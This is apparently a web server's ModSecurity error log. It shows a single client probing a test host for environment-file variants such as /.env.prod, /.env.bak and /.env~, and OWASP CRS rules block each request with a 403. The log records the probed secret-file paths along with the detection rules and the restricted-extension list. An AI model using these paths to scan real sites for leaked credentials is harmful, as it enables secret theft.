[Thu Nov 27 18:08:35.385866 2025] [:error] [pid 360200] [client 3.75.214.235:54868] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aSiFkwQeQhonID1lme2zFQAAAAk"]
[Thu Nov 27 18:08:35.386178 2025] [:error] [pid 360200] [client 3.75.214.235:54868] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aSiFkwQeQhonID1lme2zFQAAAAk"]
[Thu Nov 27 18:08:35.386450 2025] [:error] [pid 360200] [client 3.75.214.235:54868] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aSiFkwQeQhonID1lme2zFQAAAAk"]
[Thu Nov 27 18:08:35.456259 2025] [:error] [pid 362070] [client 3.75.214.235:54894] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aSiFk37GWRIORDaPTtG7HgAAAAs"]
[Thu Nov 27 18:08:35.456473 2025] [:error] [pid 362070] [client 3.75.214.235:54894] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aSiFk37GWRIORDaPTtG7HgAAAAs"]
[Thu Nov 27 18:08:35.456647 2025] [:error] [pid 362070] [client 3.75.214.235:54894] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aSiFk37GWRIORDaPTtG7HgAAAAs"]
[Thu Nov 27 18:08:35.525899 2025] [:error] [pid 364938] [client 3.75.214.235:54922] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aSiFk1EFdTVEtgaNa5gxBwAAAAc"]
[Thu Nov 27 18:08:35.526123 2025] [:error] [pid 364938] [client 3.75.214.235:54922] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aSiFk1EFdTVEtgaNa5gxBwAAAAc"]
[Thu Nov 27 18:08:35.526289 2025] [:error] [pid 364938] [client 3.75.214.235:54922] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aSiFk1EFdTVEtgaNa5gxBwAAAAc"]
[Thu Nov 27 18:08:35.597216 2025] [:error] [pid 353187] [client 3.75.214.235:54946] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aSiFk3jjVMPW7zDRgsawZgAAAAM"]
[Thu Nov 27 18:08:35.597430 2025] [:error] [pid 353187] [client 3.75.214.235:54946] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aSiFk3jjVMPW7zDRgsawZgAAAAM"]
[Thu Nov 27 18:08:35.597608 2025] [:error] [pid 353187] [client 3.75.214.235:54946] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aSiFk3jjVMPW7zDRgsawZgAAAAM"]
[Thu Nov 27 18:08:35.667645 2025] [:error] [pid 354739] [client 3.75.214.235:54978] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aSiFk-_UStX-GTeIAe_u9wAAAAY"]
[Thu Nov 27 18:08:35.667879 2025] [:error] [pid 354739] [client 3.75.214.235:54978] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aSiFk-_UStX-GTeIAe_u9wAAAAY"]
[Thu Nov 27 18:08:35.668069 2025] [:error] [pid 354739] [client 3.75.214.235:54978] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aSiFk-_UStX-GTeIAe_u9wAAAAY"]
[Thu Nov 27 18:08:35.737659 2025] [:error] [pid 362069] [client 3.75.214.235:55004] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aSiFk7t0j3LvN_HNhHWZCwAAAAo"]
[Thu Nov 27 18:08:35.737827 2025] [:error] [pid 362069] [client 3.75.214.235:55004] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aSiFk7t0j3LvN_HNhHWZCwAAAAo"]
[Thu Nov 27 18:08:35.738062 2025] [:error] [pid 362069] [client 3.75.214.235:55004] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aSiFk7t0j3LvN_HNhHWZCwAAAAo"]
[Thu Nov 27 18:08:35.738233 2025] [:error] [pid 362069] [client 3.75.214.235:55004] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aSiFk7t0j3LvN_HNhHWZCwAAAAo"]
[Thu Nov 27 18:08:35.807885 2025] [:error] [pid 364939] [client 3.75.214.235:55030] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aSiFkxr_ze0xmC_DyvfLZAAAAA0"]
[Thu Nov 27 18:08:35.808107 2025] [:error] [pid 364939] [client 3.75.214.235:55030] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aSiFkxr_ze0xmC_DyvfLZAAAAA0"]
[Thu Nov 27 18:08:35.808295 2025] [:error] [pid 364939] [client 3.75.214.235:55030] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "aSiFkxr_ze0xmC_DyvfLZAAAAA0"]
[Thu Nov 27 18:08:35.882005 2025] [:error] [pid 353188] [client 3.75.214.235:55060] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aSiFkz4fHjXDucK3GWvWvQAAAAQ"]
[Thu Nov 27 18:08:35.882221 2025] [:error] [pid 353188] [client 3.75.214.235:55060] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aSiFkz4fHjXDucK3GWvWvQAAAAQ"]
[Thu Nov 27 18:08:35.882407 2025] [:error] [pid 353188] [client 3.75.214.235:55060] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aSiFkz4fHjXDucK3GWvWvQAAAAQ"]
[Thu Nov 27 18:08:35.951923 2025] [:error] [pid 353186] [client 3.75.214.235:55084] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aSiFkyOJA5NFmjDGU5hISQAAAAI"]
[Thu Nov 27 18:08:35.952117 2025] [:error] [pid 353186] [client 3.75.214.235:55084] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aSiFkyOJA5NFmjDGU5hISQAAAAI"]
[Thu Nov 27 18:08:35.952434 2025] [:error] [pid 353186] [client 3.75.214.235:55084] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aSiFkyOJA5NFmjDGU5hISQAAAAI"]
[Thu Nov 27 18:08:35.952689 2025] [:error] [pid 353186] [client 3.75.214.235:55084] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aSiFkyOJA5NFmjDGU5hISQAAAAI"]
[Thu Nov 27 18:08:36.023132 2025] [:error] [pid 353185] [client 3.75.214.235:55112] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aSiFlHTG8IrOxOxezX5ArQAAAAE"]
[Thu Nov 27 18:08:36.023382 2025] [:error] [pid 353185] [client 3.75.214.235:55112] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aSiFlHTG8IrOxOxezX5ArQAAAAE"]
[Thu Nov 27 18:08:36.023696 2025] [:error] [pid 353185] [client 3.75.214.235:55112] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aSiFlHTG8IrOxOxezX5ArQAAAAE"]
[Thu Nov 27 18:08:36.023965 2025] [:error] [pid 353185] [client 3.75.214.235:55112] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aSiFlHTG8IrOxOxezX5ArQAAAAE"]
[Thu Nov 27 18:08:36.096832 2025] [:error] [pid 360200] [client 3.75.214.235:55146] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aSiFlAQeQhonID1lme2zFgAAAAk"]
[Thu Nov 27 18:08:36.097044 2025] [:error] [pid 360200] [client 3.75.214.235:55146] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aSiFlAQeQhonID1lme2zFgAAAAk"]
[Thu Nov 27 18:08:36.097219 2025] [:error] [pid 360200] [client 3.75.214.235:55146] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aSiFlAQeQhonID1lme2zFgAAAAk"]
[Thu Nov 27 18:08:36.173256 2025] [:error] [pid 362070] [client 3.75.214.235:55172] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aSiFlH7GWRIORDaPTtG7HwAAAAs"]
[Thu Nov 27 18:08:36.173466 2025] [:error] [pid 362070] [client 3.75.214.235:55172] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aSiFlH7GWRIORDaPTtG7HwAAAAs"]
